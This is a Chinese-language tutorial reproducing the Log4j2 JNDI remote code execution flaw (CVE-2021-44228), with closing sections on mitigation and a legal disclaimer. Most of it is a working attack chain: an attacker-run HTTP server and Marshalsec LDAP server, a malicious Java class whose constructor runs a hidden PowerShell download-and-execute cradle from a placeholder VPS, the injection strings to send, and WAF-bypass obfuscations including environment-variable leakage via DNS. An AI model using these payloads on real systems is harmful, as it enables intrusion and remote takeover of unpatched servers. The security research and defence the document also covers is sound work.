一次失败的log4j2远程命令代码执行复现!
字数 1213 2025-08-10 08:28:18
Log4j2远程命令执行漏洞复现与分析
漏洞概述
Log4j2远程命令执行漏洞(CVE-2021-44228)是Apache Log4j2日志组件中的一个严重安全漏洞,允许攻击者通过JNDI注入实现远程代码执行。该漏洞影响范围广泛,危害严重。
漏洞原理
当应用程序使用Log4j2记录用户可控的输入时,如果输入中包含${jndi:ldap://attacker.com/Exploit}这样的恶意字符串,Log4j2会解析并执行JNDI查找,导致从攻击者控制的服务器加载并执行恶意代码。
环境准备
所需工具
- DNSLog平台(用于漏洞验证)
- Marshalsec工具(用于搭建LDAP服务)
- Python HTTP服务器
- Cobalt Strike或其他C2框架(用于命令执行)
- Java开发环境(用于编译恶意类文件)
漏洞验证步骤
-
发现潜在漏洞点:
- 检查目标系统是否使用Log4j2记录日志
- 确认目标系统允许LDAP协议
-
DNSLog验证:
${jndi:ldap://${sys:java.version}.example.dnslog.cn/a}观察DNSLog平台是否有解析记录
漏洞利用详细步骤
1. 搭建攻击基础设施
HTTP服务:
python -m http.server 5555
LDAP服务(使用Marshalsec):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-vps-ip:5555/#Exploit" 1389
2. 准备恶意类文件
Exploit.java:
import java.lang.Runtime;
public class Exploit {
public Exploit() {
try {
// 使用Base64编码的命令,避免特殊字符问题
String cmd = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://your-vps-ip:80/a'))\"";
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
编译恶意类:
javac Exploit.java
3. 部署恶意文件
将编译后的Exploit.class文件放置在HTTP服务目录下,确保可通过http://your-vps-ip:5555/Exploit.class访问。
4. 触发漏洞
向目标系统发送包含恶意JNDI查找的请求:
${jndi:ldap://your-vps-ip:1389/Exploit}
常见问题与解决方案
-
利用失败可能原因:
- 目标Java版本过高(>=8u191、>=7u201、>=6u211)
- 目标系统存在安全防护(WAF、EDR等)
- 网络连接问题(端口被屏蔽等)
- 恶意类文件未正确部署
-
绕过高版本Java限制:
- 使用
com.sun.jndi.ldap.object.trustURLCodebase属性设置为true(需目标环境允许) - 使用本地类路径中的类进行利用
- 使用
-
绕过WAF/防护:
- 使用URL编码:
${jndi:ldap://example.com}→${${::-j}ndi:ldap://example.com} - 使用环境变量:
${jndi:ldap://${env:USER}.example.com/a} - 使用DNS重定向技术
- 使用URL编码:
防护措施
-
紧急缓解方案:
- 升级Log4j2至2.15.0或更高版本
- 设置JVM参数:
-Dlog4j2.formatMsgNoLookups=true - 删除
JndiLookup类文件
-
长期防护:
- 实施输入验证和过滤
- 限制出站网络连接
- 部署WAF规则拦截JNDI注入尝试
法律与道德声明
本文档仅用于安全研究和教育目的。未经授权对系统进行测试或攻击是违法行为。请在法律允许范围内使用这些知识,并始终获得目标系统所有者的明确许可。